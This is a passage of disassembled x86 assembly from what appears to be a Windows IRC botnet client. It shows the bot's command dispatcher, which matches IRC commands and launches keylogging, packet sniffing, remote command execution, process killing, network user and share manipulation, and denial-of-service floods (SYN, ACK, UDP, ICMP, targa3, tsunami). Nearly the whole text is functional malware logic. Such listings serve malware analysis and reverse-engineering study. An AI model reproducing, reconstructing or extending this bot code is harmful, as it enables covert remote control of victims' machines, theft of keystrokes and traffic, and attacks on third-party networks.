aPrivmsgS_5 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_5 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_3 ; "PRIVMSG %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_6 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_405927: ; CODE XREF: sub_401CC7+3B4Bj ; sub_401CC7+3B58j push [ebp+Source] ; Str2 push offset aRegister ; "register" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40596D mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_40596D push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNickservRegist ; "nickserv register %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_40596D: ; CODE XREF: sub_401CC7+3C71j ; sub_401CC7+3C7Cj push [ebp+Source] ; Str2 push offset aOff_0 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40653E mov edi, offset dword_4EC244 loc_405989: ; CODE XREF: sub_401CC7+3CE1j cmp dword ptr [edi-4], 1 jnz short loc_40599C mov eax, [edi] cmp eax, ebx jbe short loc_40599C push eax call dword_4E3190 ; closesocket loc_40599C: ; CODE XREF: sub_401CC7+3CC6j ; sub_401CC7+3CCCj add edi, 210h cmp edi, offset dword_4F2964 jl short loc_405989 cmp [ebp+var_8], ebx jnz loc_40653E push ebx ; int push [ebp+var_4] ; int push offset unk_4417CC ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h jmp loc_40653E ; --------------------------------------------------------------------------- loc_4059D2: ; CODE XREF: sub_401CC7+318Fj mov edi, [ebp+arg_8] push edi ; Str2 push offset aNick_1 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A1A push edi ; Str2 push offset aN ; "n" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A1A push edi ; Str2 push offset aJoin_0 ; "join" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099F3 push edi ; Str2 push offset aJ ; "j" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099F3 push edi ; Str2 push offset aPart_2 ; "part" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099D3 push edi ; Str2 push offset aPt ; "pt" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099D3 push edi ; Str2 push offset aRaw ; "raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_409997 push edi ; Str2 push offset aR_2 ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_409997 push edi ; Str2 push offset aKillthread ; "killthread" call _strcmp pop ecx test eax, eax pop ecx jz loc_409897 push edi ; Str2 push offset aK ; "k" call _strcmp pop ecx test eax, eax pop ecx jz loc_409897 push edi ; Str2 push offset aC_quit ; "c_quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097E9 push edi ; Str2 push offset aC_q ; "c_q" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097E9 push edi ; Str2 push offset aC_rndnick ; "c_rndnick" call _strcmp pop ecx test eax, eax pop ecx jz loc_40978B push edi ; Str2 push offset aC_rn ; "c_rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_40978B push edi ; Str2 push offset aPrefix ; "prefix" call _strcmp pop ecx test eax, eax pop ecx jz loc_409772 push edi ; Str2 push offset aPr ; "pr" call _strcmp pop ecx test eax, eax pop ecx jz loc_409772 push edi ; Str2 push offset aOpen ; "open" call _strcmp pop ecx test eax, eax pop ecx jz loc_409744 push edi ; Str2 push offset aO ; "o" call _strcmp pop ecx test eax, eax pop ecx jz loc_409744 push edi ; Str2 push offset aServer_5 ; "server" call _strcmp pop ecx test eax, eax pop ecx jz loc_409727 push edi ; Str2 push offset aSe ; "se" call _strcmp pop ecx test eax, eax pop ecx jz loc_409727 push edi ; Str2 push offset aDns ; "dns" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096B6 push edi ; Str2 push offset aDn ; "dn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4096B6 push edi ; Str2 push offset aKillproc ; "killproc" call _strcmp pop ecx test eax, eax pop ecx jz loc_409686 push edi ; Str2 push offset aKp ; "kp" call _strcmp pop ecx test eax, eax pop ecx jz loc_409686 push edi ; Str2 push offset aKill ; "kill" call _strcmp pop ecx test eax, eax pop ecx jz loc_409627 push edi ; Str2 push offset aKi ; "ki" call _strcmp pop ecx test eax, eax pop ecx jz loc_409627 push edi ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095EB push edi ; Str2 push offset aDel ; "del" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095EB push edi ; Str2 push offset aGet_3 ; "get" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094FF push edi ; Str2 push offset aGt ; "gt" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094FF push edi ; Str2 push offset aList ; "list" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094DD push edi ; Str2 push offset aLi ; "li" call _strcmp pop ecx test eax, eax pop ecx jz loc_4094DD push edi ; Str2 push offset aVisit ; "visit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093E9 push edi ; Str2 push offset aV ; "v" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093E9 push edi ; Str2 push offset aMirccmd ; "mirccmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093B2 push edi ; Str2 push offset aMirc ; "mirc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093B2 push edi ; Str2 push offset aCmd ; "cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_409348 push edi ; Str2 push offset aCm ; "cm" call _strcmp pop ecx test eax, eax pop ecx jz loc_409348 push edi ; Str2 push offset aReadfile ; "readfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092CB push edi ; Str2 push offset aRf ; "rf" call _strcmp pop ecx test eax, eax pop ecx jz loc_4092CB push edi ; Str2 push offset aPsniff ; "psniff" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405E6F push [ebp+Source] ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405E35 push 20h call sub_40B99E test eax, eax pop ecx jle short loc_405D5F push offset dword_441DE8 jmp loc_40717F ; --------------------------------------------------------------------------- loc_405D5F: ; CODE XREF: sub_401CC7+408Cj mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405DA1 mov esi, offset a2_1 ; "#2" push offset byte_4E2FA4 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405DA1 mov esi, [ebp+Format] loc_405DA1: ; CODE XREF: sub_401CC7+40BCj ; sub_401CC7+40D2j push esi ; Format lea eax, [ebp+var_EC0] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_441E08 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 20h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset sub_412A56 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_405E24 loc_405E0E: ; CODE XREF: sub_401CC7+415Bj cmp [ebp+var_E34], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_405E0E ; --------------------------------------------------------------------------- loc_405E24: ; CODE XREF: sub_401CC7+4145j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_441E38 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_405E35: ; CODE XREF: sub_401CC7+407Cj push [ebp+Source] ; Str2 push offset aOff ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_408506 push ebx push 20h call sub_40B951 pop ecx cmp eax, ebx pop ecx jle short loc_405E65 push eax push offset dword_441E78 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_405E65: ; CODE XREF: sub_401CC7+4191j push offset dword_441EB4 jmp loc_40717F ; --------------------------------------------------------------------------- loc_405E6F: ; CODE XREF: sub_401CC7+4065j push edi ; Str2 push offset aSniffer ; "sniffer" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405FC1 push [ebp+Source] ; Str2 push offset aOn_0 ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405F87 push 21h call sub_40B99E test eax, eax pop ecx jle short loc_405EB1 push offset unk_441EEC jmp loc_40717F ; --------------------------------------------------------------------------- loc_405EB1: ; CODE XREF: sub_401CC7+41DEj mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405EF3 mov esi, offset a2_1 ; "#2" push offset byte_4E2FA8 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405EF3 mov esi, [ebp+Format] loc_405EF3: ; CODE XREF: sub_401CC7+420Ej ; sub_401CC7+4224j push esi ; Format lea eax, [ebp+var_FE8] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_441F0C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 21h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_4130E1 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_405F76 loc_405F60: ; CODE XREF: sub_401CC7+42ADj cmp [ebp+var_F5C], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_405F60 ; --------------------------------------------------------------------------- loc_405F76: ; CODE XREF: sub_401CC7+4297j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441F3C jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_405F87: ; CODE XREF: sub_401CC7+41CEj push [ebp+Source] ; Str2 push offset aOff_1 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_408506 push ebx push 21h call sub_40B951 pop ecx cmp eax, ebx pop ecx jle short loc_405FB7 push eax push offset unk_441F7C jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_405FB7: ; CODE XREF: sub_401CC7+42E3j push offset unk_441FBC jmp loc_40717F ; --------------------------------------------------------------------------- loc_405FC1: ; CODE XREF: sub_401CC7+41B7j push edi ; Str2 push offset aIdent ; "ident" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406096 push [ebp+Source] ; Str2 push offset aOn_1 ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40605C push 2 call sub_40B99E test eax, eax pop ecx jle short loc_405FFF push offset dword_441FF8 jmp loc_40717F ; --------------------------------------------------------------------------- loc_405FFF: ; CODE XREF: sub_401CC7+432Cj lea eax, [ebp+Dst] push offset asc_442018 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 2 ; int push eax ; Source call sub_40B756 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410C7D push ebx push ebx call ds:dword_4F5350 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45602C[esi], eax jnz loc_408506 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442044 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_40605C: ; CODE XREF: sub_401CC7+4320j push [ebp+Source] ; Str2 push offset aOff_2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_408506 push ebx push 2 call sub_40B951 pop ecx cmp eax, ebx pop ecx jle short loc_40608C push eax push offset dword_44207C jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_40608C: ; CODE XREF: sub_401CC7+43B8j push offset dword_4420B4 jmp loc_40717F ; --------------------------------------------------------------------------- loc_406096: ; CODE XREF: sub_401CC7+4309j push edi ; Str2 push offset aKeylog ; "keylog" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406211 mov edi, [ebp+Source] push edi ; Str2 push offset aOn_2 ; "on" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406108 push edi ; Str2 push offset aFile ; "file" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406108 push edi ; Str2 push offset aOff_3 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_408506 push ebx push 23h call sub_40B951 pop ecx cmp eax, ebx pop ecx jle short loc_4060FE push eax push offset dword_442174 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_4060FE: ; CODE XREF: sub_401CC7+442Aj push offset dword_4421B0 jmp loc_40717F ; --------------------------------------------------------------------------- loc_406108: ; CODE XREF: sub_401CC7+43F6j ; sub_401CC7+4407j push 23h call sub_40B99E test eax, eax pop ecx jle short loc_40611E push offset dword_4420E8 jmp loc_40717F ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_401CC7+444Bj mov eax, [ebp+arg_4] push edi ; Str2 mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push offset aFile_0 ; "file" mov [ebp+var_BD4], eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40614D mov [ebp+var_BD0], 1 jmp short loc_406156 ; --------------------------------------------------------------------------- loc_40614D: ; CODE XREF: sub_401CC7+4478j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_406156: ; CODE XREF: sub_401CC7+4484j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_40617D mov esi, offset a2_0 ; "#2" push offset byte_4E2FAC ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40617D mov esi, [ebp+Format] loc_40617D: ; CODE XREF: sub_401CC7+4498j ; sub_401CC7+44AEj push esi ; Format lea eax, [ebp+var_C54] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_442110 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 23h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset sub_412775 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_406200 loc_4061EA: ; CODE XREF: sub_401CC7+4537j cmp [ebp+var_BCC], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4061EA ; --------------------------------------------------------------------------- loc_406200: ; CODE XREF: sub_401CC7+4521j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442134 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_406211: ; CODE XREF: sub_401CC7+43DEj push edi ; Str2 push offset aNet ; "net" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4064EA cmp dword_4E31C8, ebx jz short loc_406240 cmp dword_4E31F0, ebx jz short loc_406240 push offset unk_442358 jmp loc_408850 ; --------------------------------------------------------------------------- loc_406240: ; CODE XREF: sub_401CC7+4565j ; sub_401CC7+456Dj cmp [ebp+var_C], ebx jz loc_406F59 mov edi, [ebp+esi+Format] mov [ebp+Src], ebx cmp edi, ebx jz short loc_406265 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx mov [ebp+Src], eax pop ecx loc_406265: ; CODE XREF: sub_401CC7+458Ej push [ebp+Source] ; Str2 push offset aStart ; "start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4062BF cmp edi, ebx jz short loc_406293 push [ebp+Src] push 3 call sub_41958E pop ecx pop ecx push eax push offset aS_3 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_406293: ; CODE XREF: sub_401CC7+45B3j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_419828 add esp, 0Ch test eax, eax jz short loc_4062B5 push offset unk_4421EC jmp loc_408850 ; --------------------------------------------------------------------------- loc_4062B5: ; CODE XREF: sub_401CC7+45E2j push offset unk_442210 jmp loc_408850 ; --------------------------------------------------------------------------- loc_4062BF: ; CODE XREF: sub_401CC7+45AFj push [ebp+Source] ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4062E9 push [ebp+Src] push 4 call sub_41958E pop ecx pop ecx push eax push offset aS_4 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4062E9: ; CODE XREF: sub_401CC7+4609j push [ebp+Source] ; Str2 push offset aPause ; "pause" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406313 push [ebp+Src] push 5 call sub_41958E pop ecx pop ecx push eax push offset aS_5 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_406313: ; CODE XREF: sub_401CC7+4633j push [ebp+Source] ; Str2 push offset aContinue ; "continue" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40633D push [ebp+Src] push 6 call sub_41958E pop ecx pop ecx push eax push offset aS_6 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_40633D: ; CODE XREF: sub_401CC7+465Dj push [ebp+Source] ; Str2 push offset aDelete_0 ; "delete" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406367 push [ebp+Src] push 1 call sub_41958E pop ecx pop ecx push eax push offset aS_7 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_406367: ; CODE XREF: sub_401CC7+4687j push [ebp+Source] ; Str2 push offset aShare ; "share" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4063E6 cmp edi, ebx jz short loc_4063B9 cmp [ebp+var_8FC], bl jz short loc_40639D push ebx ; int push edi ; Str push 1 ; int call sub_419965 add esp, 0Ch push eax push offset aS_8 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_40639D: ; CODE XREF: sub_401CC7+46BDj push [ebp+esi+Str2] ; int push edi ; Str push ebx ; int call sub_419965 add esp, 0Ch push eax push offset aS_9 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4063B9: ; CODE XREF: sub_401CC7+46B5j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_419B5B add esp, 10h test eax, eax jz short loc_4063DC push offset unk_442274 jmp loc_408850 ; --------------------------------------------------------------------------- loc_4063DC: ; CODE XREF: sub_401CC7+4709j push offset unk_442298 jmp loc_408850 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_401CC7+46B1j push [ebp+Source] ; Str2 push offset aUser_0 ; "user" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40649D cmp edi, ebx jz short loc_406470 cmp [ebp+var_8FC], bl jz short loc_40642C push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push ebx push edi push 1 call sub_419C7C add esp, 18h push eax push offset aS_10 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_40642C: ; CODE XREF: sub_401CC7+4740j push [ebp+var_4] mov esi, [ebp+esi+Str2] cmp esi, ebx push [ebp+Format] push [ebp+arg_4] jz short loc_406459 push esi push edi push ebx call sub_419C7C add esp, 18h push eax push offset aS_11 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_406459: ; CODE XREF: sub_401CC7+477Aj push ebx push edi push 2 call sub_419C7C add esp, 18h push eax push offset aS_12 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_406470: ; CODE XREF: sub_401CC7+4738j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41A1AC add esp, 10h test eax, eax jz short loc_406493 push offset unk_4422CC jmp loc_408850 ; --------------------------------------------------------------------------- loc_406493: ; CODE XREF: sub_401CC7+47C0j push offset unk_4422EC jmp loc_408850 ; --------------------------------------------------------------------------- loc_40649D: ; CODE XREF: sub_401CC7+4730j push [ebp+Source] ; Str2 push offset aSend_0 ; "send" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4064E0 cmp edi, ebx jz short loc_4064D6 push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push [ebp+Src] ; Source call sub_41A460 add esp, 10h push eax push offset aS_13 ; "%s" jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4064D6: ; CODE XREF: sub_401CC7+47EBj push offset unk_442318 jmp loc_408850 ; --------------------------------------------------------------------------- loc_4064E0: ; CODE XREF: sub_401CC7+47E7j push offset unk_44233C jmp loc_408850 ; --------------------------------------------------------------------------- loc_4064EA: ; CODE XREF: sub_401CC7+4559j push edi ; Str2 push offset aCapture ; "capture" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A0 push edi ; Str2 push offset aCap ; "cap" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A0 push edi ; Str2 push offset aGethost ; "gethost" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FAC push edi ; Str2 push offset aGh ; "gh" call _strcmp pop ecx test eax, eax pop ecx jz loc_408FAC loc_40653E: ; CODE XREF: sub_401CC7+3CB7j ; sub_401CC7+3CE6j ... mov edi, [ebp+esi+Format] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_402085 push [ebp+arg_8] ; Str2 push offset aKilllog ; "killlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F92 push [ebp+arg_8] ; Str2 push offset aKl ; "kl" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F92 push [ebp+arg_8] ; Str2 push offset aAddalias ; "addalias" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F4F push [ebp+arg_8] ; Str2 push offset aAa ; "aa" call _strcmp pop ecx test eax, eax pop ecx jz loc_408F4F push [ebp+arg_8] ; Str2 push offset aPrivmsg_1 ; "privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EFA push [ebp+arg_8] ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_408EFA push [ebp+arg_8] ; Str2 push offset aAction ; "action" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E8D push [ebp+arg_8] ; Str2 push offset aA ; "a" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E8D push [ebp+arg_8] ; Str2 push offset aCycle ; "cycle" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E29 push [ebp+arg_8] ; Str2 push offset aCy ; "cy" call _strcmp pop ecx test eax, eax pop ecx jz loc_408E29 push [ebp+arg_8] ; Str2 push offset aMode_0 ; "mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DED push [ebp+arg_8] ; Str2 push offset aM ; "m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DED push [ebp+arg_8] ; Str2 push offset aC_raw ; "c_raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D7E push [ebp+arg_8] ; Str2 push offset aC_r ; "c_r" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D7E push [ebp+arg_8] ; Str2 push offset aC_mode ; "c_mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CF8 push [ebp+arg_8] ; Str2 push offset aC_m ; "c_m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CF8 push [ebp+arg_8] ; Str2 push offset aC_nick ; "c_nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C88 push [ebp+arg_8] ; Str2 push offset aC_n ; "c_n" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C88 push [ebp+arg_8] ; Str2 push offset aC_join ; "c_join" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C3A push [ebp+arg_8] ; Str2 push offset aC_j ; "c_j" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C3A push [ebp+arg_8] ; Str2 push offset aC_part ; "c_part" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BD6 push [ebp+arg_8] ; Str2 push offset aC_p ; "c_p" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BD6 push [ebp+arg_8] ; Str2 push offset aTarga3 ; "targa3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B01 push [ebp+arg_8] ; Str2 push offset aT3 ; "t3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B01 push [ebp+arg_8] ; Str2 push offset aTsunami ; "tsunami" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A06 push [ebp+arg_8] ; Str2 push offset aTsn ; "tsn" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A06 push [ebp+arg_8] ; Str2 push offset aRepeat ; "repeat" call _strcmp pop ecx test eax, eax pop ecx jz loc_408902 push [ebp+arg_8] ; Str2 push offset aRp ; "rp" call _strcmp pop ecx test eax, eax pop ecx jz loc_408902 push [ebp+arg_8] ; Str2 push offset aDelay ; "delay" call _strcmp pop ecx test eax, eax pop ecx jz loc_408863 push [ebp+arg_8] ; Str2 push offset aDe ; "de" call _strcmp pop ecx test eax, eax pop ecx jz loc_408863 push [ebp+arg_8] ; Str2 push offset aUpdate ; "update" call _strcmp pop ecx test eax, eax pop ecx jz loc_4086D2 push [ebp+arg_8] ; Str2 push offset aUp_0 ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_4086D2 push [ebp+arg_8] ; Str2 push offset aExecute ; "execute" call _strcmp pop ecx test eax, eax pop ecx jz loc_40863F push [ebp+arg_8] ; Str2 push offset aE ; "e" call _strcmp pop ecx test eax, eax pop ecx jz loc_40863F push [ebp+arg_8] ; Str2 push offset aFindfile ; "findfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] ; Str2 push offset aFf ; "ff" call _strcmp pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] ; Str2 push offset aRename ; "rename" call _strcmp pop ecx test eax, eax pop ecx jz loc_4084B9 push [ebp+arg_8] ; Str2 push offset aMv ; "mv" call _strcmp pop ecx test eax, eax pop ecx jz loc_4084B9 push [ebp+arg_8] ; Str2 push offset aIcmpflood ; "icmpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083BC push [ebp+arg_8] ; Str2 push offset aIcmp ; "icmp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083BC mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz loc_402085 push [ebp+arg_8] ; Str2 push offset aClone_0 ; "clone" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082D4 push [ebp+arg_8] ; Str2 push offset aC ; "c" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082D4 push [ebp+arg_8] ; Str2 push offset aDdos_syn ; "ddos.syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081DB push [ebp+arg_8] ; Str2 push offset aDdos_ack ; "ddos.ack" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081DB push [ebp+arg_8] ; Str2 push offset aDdos_random ; "ddos.random" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081DB push [ebp+arg_8] ; Str2 push offset aWisdom_udp ; "wisdom.udp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406A51 push 7Fh lea eax, [ebp+var_327C] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_31FC] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_317C] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_30FC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx ; int lea eax, [ebp+Dst] push 13h ; int push eax ; Source mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B756 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset sub_41514F push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_406A40 loc_406A2A: ; CODE XREF: sub_401CC7+4D77j cmp [ebp+var_3070], ebx jnz loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_406A2A ; --------------------------------------------------------------------------- loc_406A40: ; CODE XREF: sub_401CC7+4D61j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442D88 jmp loc_403F7C ; --------------------------------------------------------------------------- loc_406A51: ; CODE XREF: sub_401CC7+4CB7j push [ebp+arg_8] ; Str2 push offset aSynflood ; "synflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4080F3 push [ebp+arg_8] ; Str2 push offset aSyn ; "syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4080F3 push [ebp+arg_8] ; Str2 push offset aSkysyn ; "skysyn" call _strcmp pop ecx 